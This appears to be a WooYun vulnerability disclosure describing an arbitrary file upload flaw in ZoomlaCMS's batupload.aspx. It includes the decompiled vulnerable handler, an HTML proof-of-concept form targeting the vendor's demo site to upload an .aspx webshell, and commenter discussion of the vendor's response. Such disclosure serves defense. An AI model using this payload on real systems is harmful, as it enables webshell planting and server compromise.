当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-047721

漏洞标题:逐浪CMS任意文件类型上传获取webshell

相关厂商:逐浪CMS

漏洞作者: what_news

提交时间:2014-01-05 16:57

修复时间:2014-01-10 16:57

公开时间:2014-01-10 16:57

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-05: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2014-01-10: 细节向公众公开

简要描述:

没有对上传文件类型进行判断,可直接上传动态脚本获取webshell

详细说明:

从官网下载cms代码 在源码目录下的edit目录下batupload.aspx文件
通过反编译看到源码如下

protected void Page_Load(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(base.Request.QueryString["case"]))
{
string str = base.Server.UrlDecode(base.Request.QueryString["case"]);
if (!Directory.Exists(base.Server.MapPath("~/UploadFiles/DocTemp/" + str)))
{
Directory.CreateDirectory(base.Server.MapPath("~/uploadFiles/DocTemp/" + str));
}
string str2 = base.Server.MapPath("~/uploadFiles/DocTemp/" + str + "/");
base.Response.Clear();
string str3 = base.Request.Params["ID"];
string str4 = "test";
if (!string.IsNullOrEmpty(str3))
{
str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]);
}
string str5 = base.Request.Params["DocType"];
str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]);
base.Server.UrlDecode(base.Request.Params["content"]);
if (str5 == "")
{
str5 = "doc";
}
str5 = str5.Substring(0, 3);
if (base.Request.Files.Count > 0)
{
HttpPostedFile file = base.Request.Files[0];
int contentLength = file.ContentLength;
byte[] buffer = new byte[contentLength];
file.InputStream.Read(buffer, 0, contentLength);
if (!File.Exists(str2 + str4))
{
using (File.Create(str2 + str4))
{
}
}
File.WriteAllBytes(str2 + str4, buffer);
}
base.Response.ContentType = "text/plain";
base.Response.Write("Complete");
base.Response.Flush();
base.Response.End();
}
}


DocTitle参数可控制最后上传的文件名,case为设置上传到/uploadFiles/DocTemp/下的目录,随便设置DocType的值长度大于防止程序出错,就可构造任意文件上传了

漏洞证明:

上传poc

<html>
<head><title>xss</title></head>
<form action="http://demo.zoomla.cn/Edit/batupload.aspx?case=2" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="hidden" name="DocTitle" value="111111.aspx" />
<input type="hidden" name="DocType" value="12345" />
<input type="submit" />
</form>
</html>


如图 仅仅测试而已 不知道为啥传aspx格式的文件不行,把一句话木马的文件改成图片格式就可以了 不知道服务器上有什么东西拦截了

QQ截图20140102214227.png

修复方案:

对上传文件的类型进行白名单过滤。

版权声明:转载请注明来源 what_news@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-01-10 16:57

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-01-10 17:26 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    这功能为什么我记得是要前台登录才可以用……看来是疏忽了。不知道为啥传aspx格式的文件不行,把一句话木马的文件改成图片格式就可以了 啥意思啊?就是普通aspx传不了咯?

  2. 2014-01-10 17:26 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    Object reference not set to an instance of an object.官方又删除dll了!继续采取忽略措施哦

  3. 2014-01-10 21:14 | 逐浪CMS(乌云厂商)

    提交时间: 2014-01-05 16:57公开时间: 2014-01-10 16:57感谢wefgod,这一段时间我们根本没有更新任何代码、也没删除dll,我们将加强检查!真诚感谢,2014你我马上发财!

  4. 2014-01-13 09:30 | what_news ( 普通白帽子 | Rank:195 漏洞数:48 | 小菜一个 希望成为大菜)

    @wefgod 就是直接传aspx格式不行,应该他那个站有限制,代码是没有限制的,我把aspx格式转换为jpg,然后通过参数又把文件名改成aspx文件

  5. 2014-01-13 09:32 | what_news ( 普通白帽子 | Rank:195 漏洞数:48 | 小菜一个 希望成为大菜)

    @wefgod 本地搭建直接传aspx文件没问题 他那个站有限制应该

  6. 2014-01-13 09:37 | what_news ( 普通白帽子 | Rank:195 漏洞数:48 | 小菜一个 希望成为大菜)

    @逐浪CMS 赤裸裸的忽略了

  7. 2014-01-13 10:33 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @what_news 之前是这样,下去估计厂商会那啥一点

  8. 2014-01-13 11:22 | what_news ( 普通白帽子 | Rank:195 漏洞数:48 | 小菜一个 希望成为大菜)

    @wefgod 哈哈 看到你很多被忽略啦

  9. 2014-01-13 11:27 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @what_news 木有办法哦

  10. 2014-01-13 22:54 | 0xTback ( 路人 | Rank:0 漏洞数:1 | 初入江湖,请多多关照~!!!)

    洞主测试的是1.4的吗?

  11. 2014-01-14 09:19 | what_news ( 普通白帽子 | Rank:195 漏洞数:48 | 小菜一个 希望成为大菜)

    @0xTback 对的 不过貌似厂商修复了

  12. 2014-01-14 14:43 | 0xTback ( 路人 | Rank:0 漏洞数:1 | 初入江湖,请多多关照~!!!)

    @what_news 恩,恩 这个1.4版的是1月1号发布的,10号的时候修复了漏洞

  13. 2014-01-14 15:04 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @0xTback 忽略不理+修复

  14. 2014-05-07 18:24 | what_news ( 普通白帽子 | Rank:195 漏洞数:48 | 小菜一个 希望成为大菜)

    @疯狗 这个为什么没奖励

  15. 2014-05-07 19:05 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @what_news 你的“问题厂商类型:”选错了,所以我后台看不到,你打开提交漏洞首页,注意看下“问题类型”那里。我先给你改过来了。

  16. 2014-05-07 19:43 | what_news ( 普通白帽子 | Rank:195 漏洞数:48 | 小菜一个 希望成为大菜)

    @疯狗 谢谢 明白了